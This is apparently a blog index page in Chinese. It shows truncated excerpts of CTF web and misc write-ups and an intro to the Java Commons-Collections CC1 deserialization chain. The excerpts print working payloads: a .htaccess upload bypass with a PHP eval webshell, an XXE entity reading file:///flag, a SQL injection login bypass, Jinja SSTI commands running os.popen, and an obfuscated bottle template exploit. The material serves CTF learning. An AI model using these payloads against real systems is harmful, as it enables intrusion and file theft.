Java安全-CC1链
一.简介CC1全称Commons-Collections1,是Apache Commons Collections库的第一个反序列化利用链,后续还有CC2~CC7等多个变种 Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。 简单来说,Common-Collections这个项目开发出来是为了给JAVA标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。 二.环境搭建 JDK<8u71,这里使用的是JDK8u65,java安装和环境配置不过多赘述,下载成功后终端查看版本即可 CommonsCollections <=...
polarisctf-WP
WEBonly real在登录界面源码中找到账号密码登录 进去后发现上传按钮是灰的,尝试将源码中disabled删除后上传什么回显也没有,换个思路去访问了upload.php和uploads/,发现前者是“上传成功”,后者是“forbidden”,说明有这个文件和目录,所以直接换成upload.php上传,但是直接上传1.php失败,检测非法类型,.htaccess绕过即可 <FilesMatch "1.png" >SetHandler application/x-httpd-php</FilesMatch> #1.png<?php eval($_POST[123]);?> 然后访问/uploads/1.png蚁剑连接成功,在上级目录找到flag xmctf{xm_xxe_blind_success} ez_pythonfrom flask import Flask, requestimport jsonapp = Flask(__name__)def merge(src, dst): ...
UnionCTF-WP
SecureDoc发现是一个pdf上传器,能够识别提取XFA表单,搜索发现XFA使用XML结构,所以加上pdf文件头后直接伪造就行 %PDF-1.7%<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xdp [ <!ENTITY flag SYSTEM "file:///flag">]><xdp:xdp> <xfa:datasets> <xfa:data> <data>&flag;</data> </xfa:data> ...
PCTF-WP
sql_in万能密码绕过即可 POST:password=1&username=admin' or 1# PCTF{fa88f815-81f4-481d-b931-87d74f37d0ce} 复读机测试后发现存在ssti漏洞 直接打就行 POST:cmd={{lipsum.__globals__['os'].popen('env').read()}} PCTF{8ce08c23-f652-49d8-bfdf-4c179e0e05ba} what_is_jsfuck源码中给出提示<!-- Hint:Try entering "I want flag"...
?CTF-WP
...
NewStarCTF-WP
...
NDCTF-WP
WEBezpython源码找到路由/s3c0nd,进去发现需要fuzz,(直接盲猜114514结果对了),再进去是个ssti,直接打就行 GET:name={{lipsum.__globals__['os'].popen('cat /flag').read()}} ctfplus{6b0f159b-165b-4d18-86ae-5a49709ea088} MISC签到先base64解码,然后去查这个域名的txt记录 dig TXT...
LilCTF-WP
2025WEBez_bottleimport requestsimport zipfileimport reexploit_content = r"""% x= vars()['\x5f\x5fbuiltins\x5f\x5f']['\x6f\x70\x65\x6e']('/flag').read()% f= vars()['\x5f\x5fbuiltins\x5f\x5f']['\x6f\x70\x65\x6e']('./static/flag.txt','w')% f.write(x)% f.flush()"""with open("a.txt", "w", encoding="utf-8") as f: f.write(exploit_content)with...
MoeCTF-WP
0 Web入门指北直接放控制台回车就行 moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!} 01 第一章 神秘的手镯只有前端验证,网络响应或者是直接控制台输入都行 document.getElementById('passwordInput').value =...
磐石行动-WP
WEBezDecryption源码中找到提示2025,就是第一步验证码答案 抓包修改step2为step3进入第三关 分析源码中js文件,在控制台中分析获得第一段为panshi 第二段base64解码后为2oZ5 发包获得flag flag{d1g1t4l_l0ck_br34k3r_2025} 1web-jaba_ezMISC1derderjiaeasy_miscBinwalk提取图片获得压缩包,里面是ook编码,解密获得y0u_c@t_m3!!!,就是压缩包密码,解压获得flagflag{3088eb0b-6e6b-11ed-9a10-145afc243ea2} 1两个数level1尝试直接二进制转ascii不行,那就尝试按位反转后补齐转ascii # 给定的二进制串列表binary_strings = [ "1100001", "000011", "0111011", "1110011", "0100111",...
